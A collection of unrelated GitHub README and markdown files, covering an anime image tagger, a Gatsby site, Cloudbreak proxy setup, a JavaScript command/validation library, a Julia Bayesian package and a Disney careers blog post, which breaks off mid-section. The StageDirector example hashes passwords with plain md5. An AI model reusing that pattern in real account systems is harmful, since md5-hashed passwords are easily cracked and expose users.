text:
# DeepDanbooru
[![Python](https://img.shields.io/badge/python-3.6-green)](https://www.python.org/doc/versions/)
[![GitHub](https://img.shields.io/github/license/KichangKim/DeepDanbooru)](https://opensource.org/licenses/MIT)
[![Web](https://img.shields.io/badge/web%20demo-20200915-brightgreen)](http://kanotype.iptime.org:8003/deepdanbooru/)

**DeepDanbooru** is anime-style girl image tag estimation system. You can estimate your images on my live demo site, [DeepDanbooru Web](http://dev.kanotype.net:8003/deepdanbooru/).

## Requirements
DeepDanbooru is written by Python 3.7. Following packages are need to be installed.
- tensorflow>=2.7.0
- tensorflow-io>=2.22.0
- Click>=7.0
- numpy>=1.16.2
- requests>=2.22.0
- scikit-image>=0.15.0
- six>=1.13.0

Or just use `requirements.txt`.
```
> pip install -r requirements.txt
```

alternatively you can install it with pip. Note that by default, tensorflow is not included.

To install it with tensorflow, add `tensorflow` extra package.

```
> # default installation
> pip install .
> # with tensorflow package
> pip install .[tensorflow]
```

## Usage
1. Prepare dataset. If you don't have, you can use [DanbooruDownloader](https://github.com/KichangKim/DanbooruDownloader) for download the dataset of [Danbooru](https://danbooru.donmai.us/). If you want to make your own dataset, see [Dataset Structure](#dataset-structure) section.
2. Create training project folder.
```
> deepdanbooru create-project [your_project_folder]
```
3. Prepare tag list. If you want to use latest tags, use following command. It downloads tag from Danbooru server. (Need Danbooru account and API key)
```
> deepdanbooru download-tags [your_project_folder] --username [your_danbooru_account] --api-key [your_danbooru_api_key]
```
4. (Option) Filtering dataset. If you want to train with optional tags (rating and score), you should convert it as system tags.
```
> deepdanbooru make-training-database [your_dataset_sqlite_path] [your_filtered_sqlite_path]
```
5. Modify `project.json` in the project folder. You should change `database_path` setting to your actual sqlite file path.
6. Start training.
```
> deepdanbooru train-project [your_project_folder]
```
7. Enjoy it.
```
> deepdanbooru evaluate [image_file_path or folder]... --project-path [your_project_folder] --allow-folder
```

## Dataset Structure
DeepDanbooru uses following folder structure for input dataset. SQLite file can be any name, but must be located in same folder to `images` folder. All of image files are located in sub-folder which named first 2 characters of its filename.
```
MyDataset/
├── images/
│   ├── 00/
│   │   ├──<PHONE_NUMBER>0000000000000000000000.jpg
│   │   ├── ...
│   ├── 01/
│   │   ├──<PHONE_NUMBER>0000000000000000000000.jpg
│   │   ├── ...
│   └── ff/
│       ├── ff000000000000000000000000000000.jpg
│       ├── ...
└── my-dataset.sqlite
```
The core is SQLite database file. That file must be contains following table structure.
```
posts
├── id (INTEGER)
├── md5 (TEXT)
├── file_ext (TEXT)
├── tag_string (TEXT)
└── tag_count_general (INTEGER)
```
The filename of image must be `[md5].[file_ext]`. If you use your own images, `md5` don't have to be actual MD5 hash value.

`tag_string` is space splitted tag list, like `1girl ahoge long_hair`.

`tag_count_general` is used for the project setting, `minimum_tag_count`. Images which has equal or larger value of `tag_count_general` are used for training.

## Project Structure
**Project** is minimal unit for training on DeepDanbooru. You can modify various parameters for training.
```
MyProject/
├── project.json
└── tags.txt
```
`tags.txt` contains all tags for estimating. You can make your own list or download latest tags from Danbooru server. It is simple newline-separated file like this:
```
1girl
ahoge
...
```

repository: KichangKim/DeepDanbooru

gha_language: Python

repo_name: KichangKim/DeepDanbooru


text:
# t12t

The t12t.se Site

## Develop

The site is [built with Gatsby](https://www.gatsbyjs.org/).

Make sure you got all of this on your computer before starting:

* [Node](https://nodejs.org/en/)
* [Yarn](https://yarnpkg.com/lang/en/docs/install/)
* [Gatsby-cli](https://github.com/gatsbyjs/gatsby/tree/master/packages/gatsby-cli)

Run the following command in your terminal to install node modules:

```
yarn install
```

Then run this to start the site in development-mode:

```
gatsby develop
```

Go to your browser and be happy about `http://localhost:8000` \\(^.^)/

## Production

If you like to try out a production build run this:

```
gatsby build
```

You can then serve the site from the folder `public` in any way you want.

One easy way to do this is to use [a package called serve](https://www.npmjs.com/package/serve). Install serve with:

```
npm install -g serve
```

Then make sure you are in the folder `public` and run:

```
serve
```

You should now be able to view the site in production mode at `http://localhost:5000`.

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

gha_license_id: MIT

license_type: permissive


text:
## Configuring outbound internet access and proxy

Depending on your enterprise requirements, you may have limited or restricted outbound network access and/or require the use of an internet proxy. Installing and configuring Cloudbreak, as well as creating cloud resources and clusters on those resources requires outbound network access to certain destinations, and in some cases must go through a proxy.

This section provides information on the outbound network destinations for Cloudbreak, and instructions on how to configure Cloudbreak to use a proxy for outbound access (if required).

| Scenario | Documentation |
|---|---|
| My environment has limited outbound internet access | Refer to [Outbound network access destinations](#outbound-network-access-destinations) for information on network rules. |
| My environment requires use of a proxy for outbound internet access | Refer to [Using a proxy](#using-a-proxy) for information on using a proxy with Cloudbreak. |

### Outbound network access destinations

To install and configure Cloudbreak, you will need the following outbound destinations available:

    Destination
    Description

    *.docker.io
    Obtain the Docker images for Cloudbreak.

raw.githubusercontent.com

github.com

s3.amazonaws.com

*.cloudfront.net

    Obtain Cloudbreak dependencies.

  cloudbreak-imagecatalog.s3.amazonaws.com 	 The default Cloudbreak image catalog used for VMs. Refer to Custom images for more information on image catalogs.

Once Cloudbreak is installed and configured, you will need the following outbound destinations available in order to communicate with the cloud provider APIs to obtain cloud resources for clusters.

    Cloud provider
    Cloud provider API destinations

  Amazon Web Services
  *.amazonaws.com

   Microsoft Azure

*.microsoftonline.com

*.windows.net

*.azure.com

   Google Cloud Platform

accounts.google.com

*.googleapis.com

To install the cluster software, you can:

a) use the public hosted repositories provided by Hortonworks, or
b) specify your own local hosted repositories when you create a cluster.

If you choose to (a) use the public hosted repositories, be sure to allow outbound access to the following destinations:

* private-repo-1.hortonworks.com
* public-repo-1.hortonworks.com

### Using a proxy

In some cases, your environment requires all internet traffic to go through an internet proxy. This section describes the following:

* How to [set up Cloudbreak to use a proxy](#set-up-cloudbreak-to-use-a-proxy)
* How to [configure your cluster hosts to use a proxy](#set-up-clusters-to-use-a-proxy)

#### Set up Cloudbreak to use a proxy

Use these steps if you would like to set up Cloudbreak to use your proxy.

**Steps**

1. After downloading and installing Cloudbreak, configure the Docker daemon to use proxy by adding the following to the Docker service file:

Environment="HTTP_PROXY=http://my-proxy-host:my-proxy-port" "NO_PROXY=localhost,<IP_ADDRESS>"

    For example:

vi /etc/systemd/system/docker.service -> Environment="HTTP_PROXY=http://<IP_ADDRESS>:3128" "NO_PROXY=localhost,<IP_ADDRESS>"

    For more information refer to
[Docker docs](https://docs.docker.com/config/daemon/systemd/#httphttps-proxy).

2. Ensure that ports 9443 and 8443 are handled as SSL connections in the proxy config.

3. Configure proxy settings in the Profile file by setting the following variables:

HTTP_PROXY_HOST=your-proxy-host
HTTPS_PROXY_HOST=your-proxy-host
PROXY_PORT=your-proxy-port
PROXY_USER=your-proxy-user
PROXY_PASSWORD=your-proxy-password
#NON_PROXY_HOSTS
#HTTPS_PROXYFORCLUSTERCONNECTION=false

For example:

HTTP_PROXY_HOST=<IP_ADDRESS>
HTTPS_PROXY_HOST=<IP_ADDRESS>
PROXY_PORT=3128
PROXY_USER=squid
PROXY_PASSWORD=squid
#NON_PROXY_HOSTS
#HTTPS_PROXYFORCLUSTERCONNECTION=false

#### Set up clusters to use a proxy

Use the following guidelines to find out what steps to perform in order to set up your clusters to use a proxy:

| What base image are you using?| Where are the platform repositories? | What to do |
|---|---|---|
| Default | Public | Use [Register a Proxy](external-proxy.md) |
| Default | Local | Use [Register a Proxy](external-proxy.md)|
| Custom | Public | Set up the proxy on your custom image OR use [Register a Proxy](external-proxy.md).|
| Custom | Local | Not required. Skip this section. |

You can define a proxy configuration as an external source in Cloudbreak web UI or CLI, and then (optionally) specify to configure that proxy configuration on the hosts that are part of the cluster during cluster create. Refer to [Register a Proxy](external-proxy.md) for more information.

#### Advanced proxy setup scenarios

In some cases, Cloudbreak using the proxy might vary depending on your Cloudbreak -> cluster deployment. This section describes two scenarios:

* **Scenario 1**: Cloudbreak needs to go through a proxy to access the Cloud provider APIs (and other public internet resources) but can talk to the cluster hosts directly.
* **Scenario 2**: Cloudbreak needs to go through a proxy to access the Cloud provider APIs (and other public internet resources) and the cluster hosts.

**Scenario 1**

In this scenario, Cloudbreak can resolve and communicate with the Ambari Server in the cluster hosts directly. For example, this can be a scenario where Cloudbreak is deployed in the same VPC/VNet as the clusters and will not go through the proxy. However, Cloudbreak will communicate to the public Cloud Provider APIs via the proxy.

To configure this scenario, set this setting in your Profile file:

HTTPS_PROXYFORCLUSTERCONNECTION = false

**Scenario 2**

In this scenario, Cloudbreak will connect to the Ambari Server through the configured proxy. For example, this can be a scenario where Cloudbreak is deployed to a different VPC/VNet than the cluster and must go through a proxy. Communication to the public cloud provider APIs also is via the proxy.

To configure this scenario, set this setting in your Profile file:

HTTPS_PROXYFORCLUSTERCONNECTION = true


text:
A MarkdownClickableImageAttribute is a styling attribute that allows a user to click on MarkdownImages and open images in the text.

Instance Variables
	position:	<SmallInteger>
	text:			<Text>

position
	- is the position of the image in the Markdown text

text
	- is the text to be replaced by the displayed image

repository: hpi-swa-teaching/MarkdownEditor

branch_name: refs/heads/dev

gha_language: Smalltalk

repo_name: hpi-swa-teaching/MarkdownEditor


text:
# StageDirector

JavaScript/NPM module to easily create commands/interactions to specify a clear and easy understandable interface to your app. Complete with input validations.

## (Simplified) Example

Imagine (or just look at) the following interaction:

```javascript
var Interaction = require('stage-director');
var md5 = require('md5');

var createAccount = new Interaction('CreateAccount', {
  inputs: {
    username: {
      type: 'string',
      required: true,
      match: /[0-9a-zA-Z]{6,}/
    },
    password: {
      type: 'string',
      required: true
    }
  },
  execute: function(userData, cb) {
    User.create({
      username: userData.username,
      password: md5(userData.password)
    }, cb);
  }
});
```

This would validate the inputs needed to create a valid User Account and if the input is valid, call the User model to create a new account. If that is done, the interactions promise is being resolved or rejected, depending if user creation could be done.

So you can use this in a controller, a console, or somewhere else:

```javascript
createAccount(request.params).then(function() {
  response.send(200, 'Your account has been created').
}, function(err) {
  if (err.validationError) {
    response.send(400, 'You have some errors in your request.');
  } else {
    response.send(500, 'Something unexpected happend');
  }
});
```

## How to use

Best see the tests to get all the details, how to use it. But here is a short write down:

### Defining an interaction

The Interaction has to be created using a `name` and at least an `execute` method, which will be called with the given params of the command call and a callback, that should be called when the command has finished what it is suppose to do:

```javascript
var Interaction = require('stage-director');
var myCommand = new Interaction('DoStuff', {
  execute: function(data, cb) {
    // do stuff here…
    cb(null);
  }
});
```

Further it accepts a custom validation, that is called for every call of the command, before execute is called. The validation can also query databases and stuff, and has to call done when it is finished, to allow such asynchronous behaviors. If it adds an error, the call of execute will be prohibited:

```javascript
var Interaction = require('stage-director');
var myCommand = new Interaction('DoStuff', {
  validation: function(data, done) {
    if (data.foo === 'bar') {
      this.error(Interaction.INVALID, 'foo', 'Do not use bar for foo.')
    }
    done();
  },
  execute: function(data, cb) {
    // do stuff here…
    cb(null);
  }
});
```

Lastly you can specify which inputs your interaction will accept, and how to validate it. This is done using [validate](https://github.com/eivindfjeldstad/validate) but the errors provided in the recjection error are a bit further optimised. Using validate means, you can put everything within the `inputs` definition what you would put into the schema of validate:

```javascript
var Interaction = require('stage-director');
var myCommand = new Interaction('DoStuff', {
  inputs: {
    foo: {
      type: 'string',
      required: true
    }
  },
  execute: function(data, cb) {
    // do stuff here…
    cb(null);
  }
});
```

### Use the command

Given any of the definitions above, you could do now the following:

```javascript
myCommand({ foo: 'bar' }).then(function() {
  console.log("I'm probably not called, because foo shouldn't be bar.");
}, function(err) {
  console.log("Foo is not correct, see there errors:", err.errors);
});

myCommand({ foo: '42' })
.then(function() {
  console.log("The stuff the command has done, is done by now.");
})
.fail(function(err) {
  console.log("This should not happen, else the stuff we had done had returned an error.", err);
});
```

Note that the command returns a promise using [Q](https://github.com/kriskowal/q). If it is a validation error (Error that was created during validation), the property `err.validationError` would be `true` and it would contain `errors`, like in the example.

## License

Copyright 2015 Georg Tavonius and contributors MIT License (enclosed)

repository: Calamari/stage-director

repo_name: Calamari/stage-director


text:
Example datastore implementations
---------------------------------

This directory contains simple implementation of the datastore interface

**THE CODE IN THIS DIRECTORY IS NOT SAFE TO USE IN ANY APPLICATION!**

If you are looking for a more complete persistent implementation of the
go-datastore interface, there are several implementations you can choose from:
* https://github.com/ipfs/go-ds-flatfs - Filesystem backed implementation,
  good for big blobs, though may be missing few features (some iteration
  settings don't work).
* https://github.com/ipfs/go-ds-leveldb - Datastore implementation backed
  by LevelDB database. Good for small-size values and many keys.
* https://github.com/ipfs/go-ds-badger - A fast datastore implementation
  backed by BadgerDB. Good for most kinds of data.

repository: ipfs/go-datastore

gha_language: Go

repo_name: ipfs/go-datastore


text:
# <IP_ADDRESS> / 2013-05-29

* correctly refers to :rvm_path config, merged #13

# <IP_ADDRESS> / 2013-03-31

* add return value to RVM.use, merged #12

# <IP_ADDRESS> / 2013-01-24

* Add :rvm_by_path option to #rvm method to invoke rvm with full path, merged #11

# <IP_ADDRESS> / 2012-07-02

* fix gemset use, fix #5, merged #9

# <IP_ADDRESS> / 2012-06-18

* Fix bug that prevented /etc/rvmrc from being used, merged #7
* Added a license to play nicely with pivotal/LicenseFinder, merged #4

# <IP_ADDRESS> / 2012-03-27

* do not use UTF in gemspec

# <IP_ADDRESS> / 2012-03-27

* add example to the doc, update gemspec

# <IP_ADDRESS> / 2012-03-26

* Ported RVM Gem Library into it's own repository from the main RVM
  repostitory. ( https://github.com/wayneeseguin/rvm-gem )

repository: justsml/docker-build-server

branch_name: refs/heads/develop

gha_language: Ruby

repo_name: justsml/docker-build-server


text:
# Diplodinula deformis (P. Karst.) Tassi, 1902 SPECIES

#### Status
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Bulletin Labor. Orto Bot. de R. Univ. Siena 5: 45 (1902)

#### Original name
Diplodia deformis P. Karst.

### Remarks
null

repository: mdoering/backbone

path: /life/Fungi/Ascomycota/Dothideomycetes/Pleosporales/Ascochyta/Ascochyta deformis/ Syn. Diplodinula deformis/README.md

repo_name: mdoering/backbone


text:
+++
# Experience widget.
widget = "experience"  # Do not modify this line!
active = true  # Activate this widget? true/false

title = "Experience"
subtitle = ""

# Order that this section will appear in.
weight = 8

# Date format for experience
#   Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "January 2006"

# Experiences.
#   Add/remove as many `[[experience]]` blocks below as you like.
#   Required fields are `title`, `company`, and `date_start`.
#   Leave `date_end` empty if it's your current employer.
#   Begin/end multi-line descriptions with 3 quotes `"""`.

#  description = """
#  Responsibilities include:
#  * Develop new algorithms for protein analyses
#  * Explore protein data

[[experience]]
  title = "Postdoc Research Assistant"
  company = "Centre of New Technologies, Warsaw University"
  company_url = "https://cent.uw.edu.pl/en/"
  location = "Warsaw, Poland"
  date_start = "2017-02-15"
  date_end = ""
  description = """
  Develop new methods and algorithms for protein design
  """

[[experience]]
  title = "PhD Student"
  company = "Insituto de Física de São Carlos, USP"
  company_url = "https://www2.ifsc.usp.br/portal-ifsc/"
  location = "São Carlos, SP, Brazil"
  date_start = "2013-08-01"
  date_end = "2017-12-15"
  description = """
  Explore differential geometry and information theory as a mathematical representation for protein dynamics analyses
  """

[[experience]]
  title = "MsC Student"
  company = "Insituto de Física de São Carlos, USP"
  company_url = "https://www2.ifsc.usp.br/portal-ifsc/"
  location = "São Carlos, SP, Brazil"
  date_start = "2011-08-01"
  date_end = "2013-07-31"
  description = """Protein expression, Crystallography and Structure determination by X-ray diffraction"""

[[experience]]
  title = "Scientfic Initiation Student"
  company = "Laboratório de Imunopatologia Keizo Asami, UFPE"
  company_url = "https://www.ufpe.br/lika"
  location = "Recife, PE, Brazil"
  date_start = "2011-08-01"
  date_end = "2013-07-31"
  description = """Protein modelling and molecular dynamics simulation"""

+++

repository: AMarinhoSN/academic-kickstart

repo_name: AMarinhoSN/academic-kickstart


text:
# AsymptoticPosteriors

[![Build Status](https://travis-ci.org/chriselrod/AsymptoticPosteriors.jl.svg?branch=master)](https://travis-ci.org/chriselrod/AsymptoticPosteriors.jl)

[![Coverage Status](https://coveralls.io/repos/chriselrod/AsymptoticPosteriors.jl/badge.svg?branch=master&service=github)](https://coveralls.io/github/chriselrod/AsymptoticPosteriors.jl?branch=master)

[![codecov.io](http://codecov.io/github/chriselrod/AsymptoticPosteriors.jl/coverage.svg?branch=master)](http://codecov.io/github/chriselrod/AsymptoticPosteriors.jl?branch=master)

---

This library implements the third order asymptotic approximation to a posterior distribution from [Approximate Bayesian computation with modified log-likelihood ratios](http://www.utstat.utoronto.ca/reid/research/Metron-published.pdf) by Laura Ventura and Nancy Reid, with the caveat that I did not draw a distinction between the priors and likelihood, lumping the two together (under the likelihood).
This has two chief advantages. Firstly, in the case of poorly identified likelihoods, prior information can help stabilize the optimization for the repeated maximizations and ensure positive definite Hessian matrices (otherwise, the rootfinding and optimization process may step into a part of the posterior where it is computationally singular). Secondly, it allows the user to write a single "log posterior" function, and provide any necessary transformations. This function must take a parameter vector as its only input.

It is strongly recomended to transform the parameters to an unconstrained parameter space. I would suggest through [ContinuousTransformations](https://github.com/tpapp/ContinuousTransformations.jl). This ensures that the root finding and optimization algorithms do not step outside of the parameter space, and is also likely to increase the accuracy of asymptotic approximations by brining the distribution closer to normality.

Compile times are very bad on Julia 0.7. They're also 10x worse on Julia 0.6. I'll work on refactoring code so that we at least do not have to recompile the same code for different likelihood functions. I encouraged individual specialization aggressively, because my focus was on simulations, and I did not anticipate how slow compilation could be when this was taken to the extreme.

That said, I do support Julia 0.7, and on top of far more pallatable compile times, it runs much more quickly too. I imagine there was an optimization added making it smarter about deciding when not to specialize.

This package has a `AutoDiffDifferentiable` object that is uses to wrap the likelihood function, and uses [ForwardDiff](https://github.com/JuliaDiff/ForwardDiff.jl) for automatic differentiation. I will definitely add [Capstan](https://github.com/JuliaDiff/Capstan.jl) support as soon as it is released, and am considering supporting [ReverseDiff](https://github.com/JuliaDiff/ReverseDiff.jl) for reverse mode AD, and [Reduce](https://github.com/chakravala/Reduce.jl) for symbolic differentiation. Capstan and Reduce both have a lot of promise. In Reduce's case, because of our heavy dependency on repeatedly evaluating Hessians which is rather inefficient with ForwardDiff.

This `AutoDiffDifferentiable` object can work in place of [NLSolversBase](https://github.com/JuliaNLSolvers/NLSolversBase.jl)'s differentiable objects for [optimization](https://github.com/JuliaNLSolvers/Optim.jl). BFGS with third order backtracking is used for finding the global maximum, while BFGS with HagerZhang's [line search](https://github.com/JuliaNLSolvers/LineSearches.jl) is used for the profile maximization, for greater stability. False Position is the root finding algorithm for finding credible intervals.

`AutoDiffDifferentiable` objects are also callable. They return an immutable diff result with a copy of the gradient. This allows support for [DynamicHMC](https://github.com/tpapp/DynamicHMC.jl). The asymptotic posteriors objects behave the same way.

I am likely to move these objects to a separate backage if I add much more functionality.

---

Lets look at a brief example. The example scripts depend on [Parameters](https://github.com/mauro3/Parameters.jl) and [Rmath](https://github.com/JuliaStats/Rmath.jl) in addition to AsymptoticPosterior's requirements. You may already have these installed, but:

```julia
Pkg.update()
Pkg.clone("https://github.com/chriselrod/AsymptoticPosteriors.jl")
Pkg.add("Parameters")
Pkg.add("Rmath")
```

The example uses the following misclassification model:
```julia
function NoGoldStandard(priordata, S₁::T, S₂::T, C₁::T, C₂::T, π::Vararg{T,K}) where {T,K}
    @unpack n, απ, βπ, αS1, βS1, αS2, βS2,
        αC1, βC1, αC2, βC2 = priordata
    target = beta_lpdf(S₁, αS1, βS1) + beta_lpdf(S₂, αS2, βS2)
    target += beta_lpdf(C₁, αC1, βC1) + beta_lpdf(C₂, αC2, βC2)
    omS₁, omS₂, omC₁, omC₂ = 1-S₁, 1-S₂, 1-C₁, 1-C₂
    πₛ₁, πc₁ = S₁*S₂, C₁*C₂
    πₛ₂, πₛ₃ = S₁ - πₛ₁, S₂ - πₛ₁
    πc₂, πc₃ = C₁ - πc₁, C₂ - πc₁
    πₛ₄, πc₄ = omS₁ - πₛ₃, omC₁ - πc₃
    @inbounds for k in 1:K
        πₖ = π[k]
        omπₖ = 1 - πₖ
        target += beta_lpdf( πₖ, απ, βπ )

        target += n[1,k] * log( πₖ*πₛ₁ + omπₖ*πc₄ )
        target += n[2,k] * log( πₖ*πₛ₂ + omπₖ*πc₃ )
        target += n[3,k] * log( πₖ*πₛ₃ + omπₖ*πc₂ )
        target += n[4,k] * log( πₖ*πₛ₄ + omπₖ*πc₁ )

        target += n[5,k] * log( πₖ*  S₁ + omπₖ*omC₁ )
        target += n[6,k] * log( πₖ*omS₁ + omπₖ*  C₁ )

        target += n[7,k] * log( πₖ*  S₂ + omπₖ*omC₂ )
        target += n[8,k] * log( πₖ*omS₂ + omπₖ*  C₂ )
    end
    target
end
```
We have K populations, each with a different prevalence `πₖ` on a state of interest. We have two tests with sensitivities, S, and specificities, C. We have samples that underwent both tests, as well as samples that underwent only one of the two.

We can run the model and the boiler plate (ie, unconstraining transformations and Jacobians) via
```julia
include(joinpath(Pkg.dir("AsymptoticPosteriors"),"examples","NGSCov.jl"))
```
this also loads a few convenience objects for data generation:

```julia
truth = CorrErrors((0.1, 0.4), (0.9, 0.95), (0.85,0.97));
data = NoGoldData(truth,1600,3200,252);
```
This species the truth as two populations, with prevalences of 0.1 and 0.4, and two tests which have sensitivities of 0.9 and 0.95 respectively, and specifities of 0.85 and 0.97.
We then generate a dataset with 160 observations from both populations, 320 from only the first test, and 25 from only the second.

Then, to fit the model:
```
ap = AsymptoticPosterior(data, fill(0.0,6), Val(6));
summary(ap)
```

We can compare these results to MCMC:
```julia
using DynamicHMC, MCMCDiagnostics
sample, NUTS_tuned = NUTS_init_tune_mcmc(ap, mode(ap), 1000);
```
This model is not well behaved, and I get errors without good starting values. Therefore I seed the chain with the mode. Even then, you may have to rerun this several times to avoid errors.
Rearranging to a more convenient form:
```julia
posterior = SVector{6}.(inverse_transform.(get_position.(sample)));
posterior_matrix = reshape(reinterpret(Float64, posterior), (6,1000));
```
we can see that the results are rather comparable:
```julia
julia> effective_sample_size(first.(posterior))
726.4754846982462

julia> for i ∈ 1:6
           println(i, "\t", signif.(quantile.((posterior_matrix[i,:],), (0.025,0.25,0.75,0.975)), (4,)))
       end
1	(0.8938, 0.9203, 0.9472, 0.9728)
2	(0.8758, 0.9179, 0.9601, 0.9916)
3	(0.8408, 0.851, 0.8636, 0.8749)
4	(0.9506, 0.9608, 0.9703, 0.9794)
5	(0.08215, 0.09289, 0.1063, 0.1195)
6	(0.3465, 0.3634, 0.3835, 0.4032)

julia> summary(ap)
S1:				(0.8954, 0.9206, 0.9469, 0.9722)
S2:				(0.8773, 0.9169, 0.9581, 0.9912)
C1:				(0.8403, 0.8513, 0.8638, 0.8763)
C2:				(0.9504, 0.9604, 0.9704, 0.9792)
Population 1 proportion:	(0.08219, 0.09338, 0.1065, 0.1203)
Population 2 proportion:	(0.3458, 0.3641, 0.3841, 0.4036)
```
It will take a little work to get MCMC working consistently for smaller sample sizes. Stan tends to work without issue, and results are comparable at small sample sizes as well. Increasing the number of MCMC samples tends to make results closer.

---

Why consider this over MCMC? The primary advantage is speed. The example `simulation.jl` will run a simulation showing us how 95% credible interval error rates, 95% interval width, and bias of point estimates change as a function of sample size. Note, including this runs `addprocs()` and compiles the asymptotic posterior and summary function on all available cores.

The arguments of the function `run_simulation` are 1) a set of true values, 2) a number of times to double the sample size, 3) number of iterations per core, 4-6) initial sample sizes in common, for population 1 only, and for population 2 only.
This script currently requires Julia 0.7.
```julia
julia> using Pkg
julia> include(joinpath(dir("AsymptoticPosteriors"),"examples","simulation.jl"))
julia> @time sim_results = run_simulation(truth, 6, 25, 50, 500, 15)
  9.943541 seconds (6.53 M allocations: 618.108 MiB, 1.85% gc time) # first run
julia> @time sim_results2 = run_simulation(truth, 6, 25, 50, 500, 15)
  0.800223 seconds (10.21 k allocations: 608.328 KiB)
```
My computer created 32 proccesses, so I would have runs on 32*25 = 800 simulated data sets per sample size, and 6 total sample sizes. Below, the rows are % of nominally 95% intervals that did not contain the true value, interval width, and bias. Columns are the parameters, in the same order as earlier. The third axis is sample size.

```julia
julia> @. (sim_results + sim_results2) / 1600
3×6×6 Array{Float64,3}:
[:, :, 1] =
 0.008125   0.075625  0.043125   0.005      0.03375    0.02875
 0.276185   0.364231  0.158856   0.114363   0.187211   0.232531
 0.0442424  0.114659  0.0304773  0.0174961  0.0364405  0.0428673

[:, :, 2] =
 0.013125   0.054375   0.054375   0.005      0.045      0.031875
 0.214479   0.288713   0.120592   0.0853131  0.140336   0.169749
 0.0343695  0.0819876  0.0229594  0.0122163  0.0274408  0.0307013

[:, :, 3] =
 0.024375   0.04375    0.049375   0.014375   0.03625    0.02125
 0.169034   0.217152   0.0839664  0.0662343  0.0997244  0.125953
 0.0279118  0.0563794  0.0165316  0.0106101  0.01945    0.0226992

[:, :, 4] =
 0.0325     0.0425     0.045      0.0325      0.045      0.03625
 0.131223   0.16392    0.0584859  0.0512916   0.0710974  0.0942561
 0.0235131  0.0401794  0.0117888  0.00896397  0.0143864  0.0182419

[:, :, 5] =
 0.043125   0.036875   0.03875     0.035       0.039375   0.033125
 0.0988129  0.124275   0.0412683   0.0393114   0.0508851  0.0697789
 0.0175978  0.0280599  0.00857545  0.00705507  0.0100611  0.0132007

[:, :, 6] =
 0.05125    0.041875   0.041875    0.055625    0.045625    0.048125
 0.0711708  0.0944667  0.0293666   0.0285184   0.0363492   0.0505619
 0.0136575  0.0201189  0.00606138  0.00549236  0.00741257  0.0101023
```
Figuring out the sample size needed to hit a required interval width does not have to take long -- about 0.8 seconds to generate and analyze 4800 data sets with this model on this test rig:
```julia
julia> versioninfo()
Julia Version 0.7.0-DEV.5021
Commit bfb1c1b* (2018-05-06 00:40 UTC)
Platform Info:
  OS: Linux (x86_64-pc-linux-gnu)
  CPU: AMD Ryzen Threadripper 1950X 16-Core Processor
  WORD_SIZE: 64
  LIBM: libopenlibm
  LLVM: libLLVM-6.0.0 (ORCJIT, znver1)
Environment:
```

gha_language: Julia

gha_license_id: NOASSERTION


text:
---
layout: post
title: Why I Work at Disney, Part 2 - Career Benefits
date: '2020-07-15'
author: Michael D. Callaghan
tags:
- Careers
- Software
- Disney
feature: https://walkingriver.com/assets/img/wdw-entrance.jpg
thumbnail: https://walkingriver.com/assets/img/wdw-entrance.jpg
cover_image: https://walkingriver.com/assets/img/wdw-entrance.jpg
canonical_url: https://walkingriver.com/why-disney-2
published: true
---

Last week I posted [an article describing all of the cool things I love about working at Walt Disney World](https://walkingriver.com/why-disney-1){:target="_blank"}. Things that have nothing whatsoever to do with my actual job; they were simply the extra benefits available as a bonus. This post is all about the career benefits of working here.

<!--more-->

# Career Benefits

Despite how it may seem to someone on the outside looking in, working at Disney is more than fun and games. There are many career benefits available to everyone at all levels of the operation.

## Work-Life Balance
Most companies go out of their way to say how important work-life balance is. I have never worked for a company as committed to the reality as Disney.

I was on a call with our Vice President recently and the subject came up that many people were accruing too much vacation time. At the time of this writing, we are still dealing with COVID-19. With everything there is to do, it seems that few people want to take time off. We asked what should be done about it. His answer was simple: take your vacation. The work will still be here when you get back.

In my nearly ten years here, no one has ever been asked to sacrifice home or family life for work.

## Interesting Project Potential

Walt Disney World is practically a city unto itself. There is lots to do and the variety is unmatched. With so much happening, the potential for working on interesting projects is practically unlimited. I have personally been involved with projects of the following nature:

- Cast-facing resort and dining reservations systems.
- Reservations and Guest systems for Disney Vacation Club.
- New transportation hardware and software systems.
- Mobile device project for Disney's Magical Express.
- Sales systems for travel agents.
- Resort Motorcoach arrival time signage.

I should point out that throughout most of my time here, I was on a team that let me move quickly from project to project. That will not always be the case with every team. That said, as I will explain below, it is not uncommon to move from team to team, or project to project. We are usually pretty good about fitting people to the right project.

## Unparalleled Growth Opportunities

You may have heard of [George Kalogridis](https://dpep.disney.com/leaders/george-kalogridis/){:target="_blank"}, who recently stepped down as president of the Walt Disney World Resort. From his bio page just referenced...

>In September of 1971, at age 17, George began his Disney Parks career as a busboy at Disney’s Contemporary Resort, helping to open Walt Disney World.

George's career had a humble beginning, yet he climbed the ladder to become the president of the entire resort. Few other companies can compare to this type of growth potential.

Lest you think this is some kind of fluke, let me tell you about one of my first coworkers. He began with Disney more than 25 years ago as a Cast Member in Housekeeping, making beds. Because he could type and was familiar with Microsoft Excel, his manager recruited him to help set up a shift scheduling spreadsheet. This led to an appreciation for software. He took some classes and learned software development. Today he is a Lead Solutions Architect with the company.

## Approachable Leadership

I heard a story once of Walt Disney walking through Disneyland Park, greeting Guests and Cast Members. It describes him meeting a custodial Cast Member in Town Square, who proceeded to refer to him as "Mr. Disney." Walt immediately corrected the young man. "Walt, son. Call me Walt."  Every Cast Member is expected to call another by his/her first name, regardless of the relative differences in their roles. We all even wear name tags displaying our first names and home towns, from the newest College Program participant just "earning my ears" to the CEO.

Most executives in the organization are extremely approachable and friendly. I have never felt any discomfort in sticking my head in an open door and asking our Director or Vice President, "do you have a few moments?" Usually the answer is yes. If not, a quick email will always be returned.

I just double checked and there are exactly seven people between me and the CEO of The Walt Disney Company. That may seem like a lot at first glance, but I can say with confidence that six of them know me personally, and I have met privately with each of them at least once. At one time I could claim having met with all seven, but Meg Crofton retired a few years ago and I have not met any of her successors.

# Disney's Commitment to the Community

This one could be seen as both "non-career" and "career" benefits. I chose to include it here simply because of how much Disney values its Cast giving back to the community. Though optional, it almost feels as though it is part of the job. And I mean that in a good way.

## VoluntEARS

Disney encourages, celebrates, and rewards all of us for giving back to our community. We call this VoluntEARing. There is an entire web site and team devoted to discovering and filling VoluntEAR opportunities. Whether a Cast Member feels like helping to build a playground, working at a food bank, or simply spending an hour at the library reading to children, everyone's efforts are valued.

If you cannot find an opportunity at one of the official events, you can always find your own and report back.

## Ears to You

